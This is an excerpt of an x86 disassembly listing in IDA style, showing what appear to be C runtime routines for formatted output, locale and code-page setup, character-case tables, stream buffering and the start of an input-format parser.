		cmp	[ebp+var_24], 0
		jz	short loc_41FCAF
		cmp	[ebp+var_C], 0
		jle	short loc_41FCAF
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FC7D:				; CODE XREF: sub_41F5D4+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423D63
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FCC4
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FD7B
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FC7D
		jmp	short loc_41FCC4
; ---------------------------------------------------------------------------


loc_41FCAF:				; CODE XREF: sub_41F5D4+698j
					; sub_41F5D4+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FD7B
		add	esp, 10h


loc_41FCC4:				; CODE XREF: sub_41F5D4+6BCj
					; sub_41F5D4+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FCDC ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FD4A
		add	esp, 10h


loc_41FCDC:				; CODE XREF: sub_41F5D4+68j
					; sub_41F5D4+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F600


loc_41FCED:				; CODE XREF: sub_41F5D4+1Fj
					; sub_41F5D4+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F5D4	endp

; ---------------------------------------------------------------------------
off_41FCF5	dd offset loc_41F773	; DATA XREF: sub_41F5D4+6Er
		dd offset loc_41F649	; jump table for switch	statement
		dd offset loc_41F664
		dd offset loc_41F6B0
		dd offset loc_41F6E7
		dd offset loc_41F6EF
		dd offset loc_41F724
		dd offset loc_41F7B7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD15	proc near		; CODE XREF: sub_41F5D4+1BDp
					; sub_41F5D4+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FD2E
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FD39
; ---------------------------------------------------------------------------


loc_41FD2E:				; CODE XREF: sub_41FD15+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F4BF
		pop	ecx
		pop	ecx


loc_41FD39:				; CODE XREF: sub_41FD15+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FD46
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FD46:				; CODE XREF: sub_41FD15+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FD15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD4A	proc near		; CODE XREF: sub_41F5D4+65Ap
					; sub_41F5D4+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FD78
		mov	esi, [esp+8+arg_C]


loc_41FD5B:				; CODE XREF: sub_41FD4A+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FD15
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FD78
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FD5B


loc_41FD78:				; CODE XREF: sub_41FD4A+Bj
					; sub_41FD4A+25j
		pop	edi
		pop	esi
		retn
sub_41FD4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD7B	proc near		; CODE XREF: sub_41F5D4+670p
					; sub_41F5D4+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FDAF
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FD91:				; CODE XREF: sub_41FD7B+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FD15
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FDAF
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FD91


loc_41FDAF:				; CODE XREF: sub_41FD7B+Cj
					; sub_41FD7B+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FD7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDB3	proc near		; CODE XREF: sub_41F5D4+E5p
					; sub_41F5D4+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FDB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDC0	proc near		; CODE XREF: sub_41F5D4+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FDC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDD0	proc near		; CODE XREF: sub_41F5D4+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FDD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDDE	proc near		; CODE XREF: sub_4201A2+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41FF77
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DAB64
		mov	[ebp+arg_0], esi
		jz	loc_41FF6B
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41FF61
		xor	edx, edx
		mov	eax, offset dword_43A8A8


loc_41FE12:				; CODE XREF: sub_41FDDE+41j
		cmp	[eax], esi
		jz	short loc_41FE88
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43A998
		jl	short loc_41FE12
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 265071Dh
		cmp	eax, 1
		jnz	loc_41FF59
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DAC80
		cmp	[ebp+var_18], 1
		mov	dword_4DAB64, esi
		rep stosd
		stosb
		mov	dword_4DAD84, ebx
		jbe	loc_41FF47
		cmp	[ebp+var_12], 0
		jz	loc_41FF1D
		lea	ecx, [ebp+var_11]


loc_41FE65:				; CODE XREF: sub_41FDDE+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FF1D
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FE76:				; CODE XREF: sub_41FDDE+A8j
		cmp	eax, edx
		ja	loc_41FF11
		or	byte_4DAC81[eax], 4
		inc	eax
		jmp	short loc_41FE76
; ---------------------------------------------------------------------------


loc_41FE88:				; CODE XREF: sub_41FDDE+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DAC80
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43A8B8[esi]


loc_41FEA4:				; CODE XREF: sub_41FDDE+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FED7


loc_41FEAB:				; CODE XREF: sub_41FDDE+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FED7
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FED0
		mov	edx, [ebp+var_4]
		mov	dl, byte_43A8A0[edx]


loc_41FEC5:				; CODE XREF: sub_41FDDE+F0j
		or	byte_4DAC81[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FEC5


loc_41FED0:				; CODE XREF: sub_41FDDE+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FEAB


loc_41FED7:				; CODE XREF: sub_41FDDE+CBj
					; sub_41FDDE+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FEA4
		mov	eax, [ebp+arg_0]
		mov	dword_4DAB7C, 1
		push	eax
		mov	dword_4DAB64, eax
		call	sub_41FFC1
		lea	esi, dword_43A8AC[esi]
		mov	edi, offset dword_4DAB70
		movsd
		movsd
		pop	ecx
		mov	dword_4DAD84, eax
		movsd
		jmp	short loc_41FF66
; ---------------------------------------------------------------------------


loc_41FF11:				; CODE XREF: sub_41FDDE+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FE65


loc_41FF1D:				; CODE XREF: sub_41FDDE+7Ej
					; sub_41FDDE+8Bj
		push	1
		pop	eax


loc_41FF20:				; CODE XREF: sub_41FDDE+14Fj
		or	byte_4DAC81[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FF20
		push	esi
		call	sub_41FFC1
		pop	ecx
		mov	dword_4DAD84, eax
		mov	dword_4DAB7C, 1
		jmp	short loc_41FF4D
; ---------------------------------------------------------------------------


loc_41FF47:				; CODE XREF: sub_41FDDE+74j
		mov	dword_4DAB7C, ebx


loc_41FF4D:				; CODE XREF: sub_41FDDE+167j
		xor	eax, eax
		mov	edi, offset dword_4DAB70
		stosd
		stosd
		stosd
		jmp	short loc_41FF66
; ---------------------------------------------------------------------------


loc_41FF59:				; CODE XREF: sub_41FDDE+51j
		cmp	dword_4D979C, ebx
		jz	short loc_41FF6F


loc_41FF61:				; CODE XREF: sub_41FDDE+27j
		call	sub_41FFF4


loc_41FF66:				; CODE XREF: sub_41FDDE+131j
					; sub_41FDDE+179j
		call	sub_42001D


loc_41FF6B:				; CODE XREF: sub_41FDDE+1Dj
		xor	eax, eax
		jmp	short loc_41FF72
; ---------------------------------------------------------------------------


loc_41FF6F:				; CODE XREF: sub_41FDDE+181j
		or	eax, 0FFFFFFFFh


loc_41FF72:				; CODE XREF: sub_41FDDE+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FDDE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FF77	proc near		; CODE XREF: sub_41FDDE+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4D979C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41FF97
		mov	dword_4D979C, 1
		nop
		jmp	near ptr 26506E7h
; ---------------------------------------------------------------------------


loc_41FF97:				; CODE XREF: sub_41FF77+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41FFAC
		mov	dword_4D979C, 1
		jmp	near ptr 2650709h
; ---------------------------------------------------------------------------
		db 0BBh
; ---------------------------------------------------------------------------


loc_41FFAC:				; CODE XREF: sub_41FF77+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41FFC0
		mov	eax, dword_4D97E0
		mov	dword_4D979C, 1

locret_41FFC0:				; CODE XREF: sub_41FF77+38j
		retn
sub_41FF77	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FFC1	proc near		; CODE XREF: sub_41FDDE+118p
					; sub_41FDDE+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41FFEE
		sub	eax, 4
		jz	short loc_41FFE8
		sub	eax, 0Dh
		jz	short loc_41FFE2
		dec	eax
		jz	short loc_41FFDC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FFC1+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41FFE2:				; CODE XREF: sub_41FFC1+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41FFE8:				; CODE XREF: sub_41FFC1+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41FFEE:				; CODE XREF: sub_41FFC1+9j
		mov	eax, 411h
		retn
sub_41FFC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FFF4	proc near		; CODE XREF: sub_41FDDE:loc_41FF61p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DAC80
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DAB70
		mov	dword_4DAB64, eax
		mov	dword_4DAB7C, eax
		mov	dword_4DAD84, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41FFF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42001D	proc near		; CODE XREF: sub_41FDDE:loc_41FF66p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DAB64
		nop
		call	near ptr 265071Dh
		cmp	eax, 1
		jnz	loc_420156
		xor	eax, eax
		mov	esi, 100h


loc_420047:				; CODE XREF: sub_42001D+34j
		mov	[ebp+eax+var_114], al


loc_42004E:				; DATA XREF: ___:004328B8o
					; ___:004328C4o
		inc	eax
		cmp	eax, esi
		jb	short loc_420047
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420098
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420066:				; CODE XREF: sub_42001D+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_42008D
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_42008D:				; CODE XREF: sub_42001D+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420066
		pop	edi
		pop	ebx


loc_420098:				; CODE XREF: sub_42001D+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DAD84
		push	dword_4DAB64
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423BF4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DAB64
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DAD84
		call	sub_4229D2
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DAB64
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DAD84
		call	sub_4229D2
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_420113:				; CODE XREF: sub_42001D+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420131
		or	byte_4DAC81[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_420129:				; CODE XREF: sub_42001D+127j
		mov	byte_4DAB80[eax], dl
		jmp	short loc_42014D
; ---------------------------------------------------------------------------


loc_420131:				; CODE XREF: sub_42001D+FCj
		test	dl, 2
		jz	short loc_420146
		or	byte_4DAC81[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420129
; ---------------------------------------------------------------------------


loc_420146:				; CODE XREF: sub_42001D+117j
		and	byte_4DAB80[eax], 0


loc_42014D:				; CODE XREF: sub_42001D+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420113
		jmp	short loc_42019F
; ---------------------------------------------------------------------------


loc_420156:				; CODE XREF: sub_42001D+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_42015D:				; CODE XREF: sub_42001D+180j
		cmp	eax, 41h
		jb	short loc_42017B
		cmp	eax, 5Ah
		ja	short loc_42017B
		or	byte_4DAC81[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_420173:				; CODE XREF: sub_42001D+174j
		mov	byte_4DAB80[eax], cl
		jmp	short loc_42019A
; ---------------------------------------------------------------------------


loc_42017B:				; CODE XREF: sub_42001D+143j
					; sub_42001D+148j
		cmp	eax, 61h
		jb	short loc_420193
		cmp	eax, 7Ah
		ja	short loc_420193
		or	byte_4DAC81[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420173
; ---------------------------------------------------------------------------


loc_420193:				; CODE XREF: sub_42001D+161j
					; sub_42001D+166j
		and	byte_4DAB80[eax], 0


loc_42019A:				; CODE XREF: sub_42001D+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_42015D


loc_42019F:				; CODE XREF: sub_42001D+137j
		pop	esi
		leave
		retn
sub_42001D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201A2	proc near		; CODE XREF: ___:00422D83p
					; ___:00422DDFp ...
		cmp	dword_4DADAC, 0
		jnz	short locret_4201BD
		push	0FFFFFFFDh
		call	sub_41FDDE
		pop	ecx
		mov	dword_4DADAC, 1

locret_4201BD:				; CODE XREF: sub_4201A2+7j
		retn
sub_4201A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4201BE	proc near		; CODE XREF: sub_41C151+2Bp
					; sub_41C151+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DAB7C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4201E2
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BD70
		add	esp, 0Ch
		jmp	short loc_420245
; ---------------------------------------------------------------------------


loc_4201E2:				; CODE XREF: sub_4201BE+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420227
		mov	ecx, [ebp+arg_4]


loc_4201ED:				; CODE XREF: sub_4201BE+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DAC81[esi], 4
		mov	[edi], al
		jz	short loc_420211
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_42021D
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420223
		jmp	short loc_420217
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4201BE+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420227


loc_420217:				; CODE XREF: sub_4201BE+51j
		test	edx, edx
		jnz	short loc_4201ED
		jmp	short loc_420227
; ---------------------------------------------------------------------------


loc_42021D:				; CODE XREF: sub_4201BE+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420227
; ---------------------------------------------------------------------------


loc_420223:				; CODE XREF: sub_4201BE+4Fj
		and	byte ptr [edi-2], 0


loc_420227:				; CODE XREF: sub_4201BE+2Aj
					; sub_4201BE+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420242
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420242:				; CODE XREF: sub_4201BE+6Fj
		mov	eax, [ebp+arg_0]


loc_420245:				; CODE XREF: sub_4201BE+22j
		pop	edi
		pop	ebp
		retn
sub_4201BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420248	proc near		; CODE XREF: sub_41C326+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4D97D0, 0
		push	ebx
		jnz	short loc_420273
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420311
		cmp	eax, 7Ah
		jg	loc_420311
		sub	eax, 20h
		jmp	loc_420311
; ---------------------------------------------------------------------------


loc_420273:				; CODE XREF: sub_420248+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_4202A6
		cmp	dword_43A88C, 1
		jle	short loc_420293
		push	2
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_42029E
; ---------------------------------------------------------------------------


loc_420293:				; CODE XREF: sub_420248+3Dj
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_42029E:				; CODE XREF: sub_420248+49j
		test	eax, eax
		jnz	short loc_4202A6


loc_4202A2:				; CODE XREF: sub_420248+AFj
		mov	eax, ebx
		jmp	short loc_420311
; ---------------------------------------------------------------------------


loc_4202A6:				; CODE XREF: sub_420248+34j
					; sub_420248+58j
		mov	edx, off_43A680
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4202C9
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_4202D2
; ---------------------------------------------------------------------------


loc_4202C9:				; CODE XREF: sub_420248+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_4202D2:				; CODE XREF: sub_420248+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4D97D0
		call	sub_4229D2
		add	esp, 20h
		test	eax, eax
		jz	short loc_4202A2
		cmp	eax, 1
		jnz	short loc_420304
		movzx	eax, [ebp+var_4]
		jmp	short loc_420311
; ---------------------------------------------------------------------------


loc_420304:				; CODE XREF: sub_420248+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420311:				; CODE XREF: sub_420248+14j
					; sub_420248+1Dj ...
		pop	ebx
		leave
		retn
sub_420248	endp


; =============== S U B	R O U T	I N E =======================================



sub_420314	proc near		; CODE XREF: sub_41C545+1Dp
					; sub_41DB5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4D9718, ecx
		mov	eax, offset dword_43A998


loc_420325:				; CODE XREF: sub_420314+1Ej
		cmp	ecx, [eax]
		jz	short loc_420349
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43AB00
		jl	short loc_420325
		cmp	ecx, 13h
		jb	short loc_420356
		cmp	ecx, 24h
		ja	short loc_420356
		mov	dword_4D9714, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420349:				; CODE XREF: sub_420314+13j
		mov	eax, dword_43A99C[edx*8]
		mov	dword_4D9714, eax
		retn
; ---------------------------------------------------------------------------


loc_420356:				; CODE XREF: sub_420314+23j
					; sub_420314+28j
		cmp	ecx, 0BCh
		jb	short loc_420370
		cmp	ecx, 0CAh
		mov	dword_4D9714, 8
		jbe	short locret_42037A


loc_420370:				; CODE XREF: sub_420314+48j
		mov	dword_4D9714, 16h

locret_42037A:				; CODE XREF: sub_420314+5Aj
		retn
sub_420314	endp


; =============== S U B	R O U T	I N E =======================================



sub_42037B	proc near		; CODE XREF: sub_41C56F+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423D3D
		test	eax, eax
		pop	ecx
		jz	short loc_420404
		cmp	esi, offset dword_43AD98
		jnz	short loc_420399
		xor	eax, eax
		jmp	short loc_4203A4
; ---------------------------------------------------------------------------


loc_420399:				; CODE XREF: sub_42037B+18j
		cmp	esi, offset dword_43ADB8
		jnz	short loc_420404
		push	1
		pop	eax


loc_4203A4:				; CODE XREF: sub_42037B+1Cj
		inc	dword_4D98FC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420404
		cmp	dword_4D97A0[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4D97A0h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4203EA
		push	ebx
		call	sub_41BC9B
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4203EA
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4203F7
; ---------------------------------------------------------------------------


loc_4203EA:				; CODE XREF: sub_42037B+4Dj
					; sub_42037B+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4203F7:				; CODE XREF: sub_42037B+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420404:				; CODE XREF: sub_42037B+10j
					; sub_42037B+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_42037B	endp


; =============== S U B	R O U T	I N E =======================================



sub_420408	proc near		; CODE XREF: sub_41C56F+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420432
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420443
		push	esi
		call	sub_41E32B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420432:				; CODE XREF: sub_420408+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420443
		push	eax
		call	sub_41E32B
		pop	ecx


loc_420443:				; CODE XREF: sub_420408+10j
					; sub_420408+32j
		pop	esi
		retn
sub_420408	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420445	proc near		; CODE XREF: sub_41CA73+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420E4B
		mov	edi, [ebp+arg_0]
		jmp	short loc_420474
; ---------------------------------------------------------------------------


loc_42046F:				; CODE XREF: sub_420445+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420474:				; CODE XREF: sub_420445+28j
		cmp	dword_43A88C, 1
		jle	short loc_42048C
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_42049B
; ---------------------------------------------------------------------------


loc_42048C:				; CODE XREF: sub_420445+36j
		mov	ecx, off_43A680
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_42049B:				; CODE XREF: sub_420445+45j
		cmp	eax, ebx
		jz	short loc_4204D5
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420ED2
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420EBB
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DE10
		add	esp, 0Ch


loc_4204C3:				; CODE XREF: sub_420445+8Ej
		test	eax, eax
		jz	short loc_4204D5
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DE10
		pop	ecx
		jmp	short loc_4204C3
; ---------------------------------------------------------------------------


loc_4204D5:				; CODE XREF: sub_420445+58j
					; sub_420445+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420DB7
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
